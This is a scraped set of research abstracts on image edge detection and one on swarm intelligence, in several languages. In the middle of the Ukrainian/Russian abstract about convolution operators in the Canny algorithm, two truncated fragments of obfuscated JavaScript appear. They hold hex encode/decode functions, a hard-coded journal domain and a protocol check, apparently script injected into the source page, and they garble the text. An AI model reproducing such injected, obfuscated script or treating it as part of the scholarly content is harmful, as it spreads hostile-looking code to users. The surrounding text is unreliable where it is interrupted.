A Nonlinear Directional Derivative Scheme for Edge Detection

In this paper, a new one-stage nonlinear directional derivative scheme has been proposed for edge detection. The directional edge detection method was applied to gray and color images. The results were compared to three well-known conventional edge detectors namely Canny, Prewitt, and Sobel. The directional derivative method is an efficient edge detection tool especially in capturing details.DOI:http://dx.doi.org/10.11591/ijece.v2i4.75

Edges Detection Based On Renyi Entropy with Split/Merge

Most of the classical methods for edge detection are based on the first and second order derivatives of gray levels of the pixels of the original image. These processes give rise to the exponential increment of computational time, especially with large size of images, and therefore requires more time for processing. This paper shows the new algorithm based on both the Rényi entropy and the Shannon entropy together for edge detection using split and merge technique. The objective is to find the best edge representation and decrease the computation time. A set of experiments in the domain of edge detection are presented. The system yields edge detection performance comparable to the classic methods, such as Canny, LOG, and Sobel.  The experimental results show that the effect of this method is better to LOG, and Sobel methods. In addition, it is better to other three methods in CPU time. Another benefit comes from easy implementation of this method. Keywords: Rényi Entropy, Information content, Edge detection, Thresholdin

Дослідження застосування операторів згортки в задачах виділення границь на зображенні

Despite the prevalence of the Kenny algorithm in the edge detection, insufficient attention has been paid to the optimal selection of the convolution matrix. The paper describes typical algorithms to detect the object edges in the image and use the peculiarities of convolution operators in the Kenny algorithm. The research uses a base image size of 13,225 units. Thus, the experiments have proved that the Sobel operator is optimal, in general, for the Kenny algorithm. We have also considered the Roberts operator and the Previtt operator as alternatives and proved that they effectively process individual cases but generally give worse results. We have made a comparative analysis of advantages and disadvantages of all the operators. The paper presents an example of a detailed calculation of the gradient by using the Sobel operator in the Kenny algorithm after the preceding use of the Gaussian filter. The result of the study is verification of the  optimal choice of the Sobel operator for the Kenny algorithm.В работе рассмотрены типичные алгоритмы для выделения границ объектов на изображении и исследованы особенности применения операторов свертки в алгоритме Кенни. Экспериментально установлено, что применение оператора Собеля является оптимальным. В качестве альтернативных операторов свертки были также рассмотрены операторы Робертса и Превитта. В результатах приведены рекомендации по реализации алгоритма Кенни.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eВ роботі розглянуті типові алгоритми для виділення границь обєктів на зображенні та досліджені особливості застосування операторів згортки в алгоритмі Кенні. В результаті експериментально встановлено, що застосування оператору Собеля є оптимальним. В якості альтернативних операторів згортки були також розглянуті оператор Робертса та Превітта. В результаті наведено рекомендації щодо реалізації алгоритму Кенні.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

Multiple-filtering process and its application in edge detection

In this paper, a procedure of edge detection for a high dynamic range image with damaged edge information is proposed. This procedure is based on a scheme of multiple filtering processes which does not include any segmentation of the image. Three different filtering processes are designed to generate three gradient maps, in each of which gradients are calculated and modulated by using a specific filter. The enhanced gradients, i.e. those modulated correctly, are identified in each of the three gradient maps by using a selection algorithm. They are taken to generate a complete edge map. This procedure allows varieties of edge gradient enhancements applied in the same image by employing a set of simple filters without segmentation. The effectiveness of the detection process has been confirmed by simulations

Multiple-filtering-process for the edge detection of high-dynamic-range Images

Edge detection is a basic image processing operation usually used in the first stage of the complex image processing systems, such as restoration, and its quality has a direct effect on the performance of the systems. The extraction of correct edges from a noise-contaminated image or an image with severe deformation is a challenging task. The objective of the work of this thesis is to develop an edge detection method to extract effectively edge signals from the images with the edge information seriously damaged while being acquired in high dynamic range (HDR) scenes. To achieve the objective, an edge detection method based on a multiple-high-pass-filtering process scheme has been proposed. Each of the filtering processes is designed to suit one of the signal deformation conditions, and is applied to the entire input image, instead of the designated regions, in order to spare the computation of image segmentation. A fusion process is then performed to merge the gradient maps generated by the multiple filtering processes into one. A detection procedure has been designed for a typical case of HDR images acquired with three different kinds of deformations due to the non-ideal characteristics of acquisition device. Based on the study of the characteristics, three high-pass filtering processes are designed to generate gradient signals with different modulations. A simple selection algorithm is developed for an easy fusion process. The results of the simulation with different types of HDR images have shown that, compared to some of most commonly used detection processes, the proposed one leads to a better quality of edge signals from severely deformed HDR images

Swarm intelligence: novel tools for optimization, feature extraction, and multi-agent system modeling

Abstract Animal swarms in nature are able to adapt to dynamic changes in their envi-ronment, and through cooperation they can solve problems that are crucial for their survival. Only by means of local interactions with other members of the swarm and with the environment, they can achieve a common goal more efficiently than it would be done by a single individual. This problem-solving behavior that results from the multiplicity of such interactions is referred to as Swarm Intelligence. The mathematical models of swarming behavior in nature were initially proposed to solve optimization problems. Nevertheless, this decentralized approach can be a valuable tool for a variety of applications, where emerging global patterns represent a solution to the task at hand. Methods for the solution of difficult computational problems based on Swarm Intelligence have been experimentally demonstrated and reported in the literature. However, a general framework that would facilitate their design does not exist yet. In this dissertation, a new general design methodology for Swarm Intelligence tools is proposed. By defining a discrete space in which the members of the swarm can move, and by modifying the rules of local interactions and setting the adequate objective function for solutions evaluation, the proposed methodology is tested in various domains. The dissertation presents a set of case studies, and focuses on two general approaches. One approach is to apply Swarm Intelligence as a tool for optimization and feature extraction, and the other approach is to model multi-agent systems such that they resemble swarms of animals in nature providing them with the ability to autonomously perform a task at hand. Artificial swarms are designed to be autonomous, scalable, robust, and adaptive to the changes in their environment. In this work, the methods that exploit one or more of these features are presented. First, the proposed methodology is validated in a real-world scenario seen as a combinatorial optimization problem. Then a set of novel tools for feature extraction, more precisely the adaptive edge detection and the broken-edge linking in digital images is proposed. A novel data clustering algorithm is also proposed and applied to image segmentation. Finally, a scalable algorithm based on the proposed methodology is developed for distributed task allocation in multi-agent systems, and applied to a swarm of robots. The newly proposed general methodology provides a guideline for future developers of the Swarm Intelligence tools. Los enjambres de animales en la naturaleza son capaces de adaptarse a cambios dinamicos en su entorno y, por medio de la cooperación, pueden resolver problemas ´ cruciales para su supervivencia. Unicamente por medio de interacciones locales con otros miembros del enjambre y con el entorno, pueden lograr un objetivo común de forma más eficiente que lo haría un solo individuo. Este comportamiento problema-resolutivo que es resultado de la multiplicidad de interacciones se denomina Inteligencia de Enjambre. Los modelos matemáticos de comportamiento de enjambres en entornos naturales fueron propuestos inicialmente para resolver problemas de optimización. Sin embargo, esta aproximación descentralizada puede ser una herramienta valiosa en una variedad de aplicaciones donde patrones globales emergentes representan una solución de las tareas actuales. Aunque en la literatura se muestra la utilidad de los métodos de Inteligencia de Enjambre, no existe un entorno de trabajo que facilite su diseño. En esta memoria de tesis proponemos una nueva metodologia general de diseño para herramientas de Inteligencia de Enjambre. Desarrollamos herramientas noveles que representan ejem-plos ilustrativos de su implementación. Probamos la metodología propuesta en varios dominios definiendo un espacio discreto en el que los miembros del enjambre pueden moverse, modificando las reglas de las interacciones locales y fijando la función objetivo adecuada para evaluar las soluciones. La memoria de tesis presenta un conjunto de casos de estudio y se centra en dos aproximaciones generales. Una aproximación es aplicar Inteligencia de Enjambre como herramienta de optimización y extracción de características mientras que la otra es modelar sistemas multi-agente de tal manera que se asemejen a enjambres de animales en la naturaleza a los que se les confiere la habilidad de ejecutar autónomamente la tarea. Los enjambres artificiales están diseñados para ser autónomos, escalables, robustos y adaptables a los cambios en su entorno. En este trabajo, presentamos métodos que explotan una o más de estas características. Primero, validamos la metodología propuesta en un escenario del mundo real visto como un problema de optimización combinatoria. Después, proponemos un conjunto de herramientas noveles para ex-tracción de características, en concreto la detección adaptativa de bordes y el enlazado de bordes rotos en imágenes digitales, y el agrupamiento de datos para segmentación de imágenes. Finalmente, proponemos un algoritmo escalable para la asignación distribuida de tareas en sistemas multi-agente aplicada a enjambres de robots. La metodología general recién propuesta ofrece una guía para futuros desarrolladores deherramientas de Inteligencia de Enjambre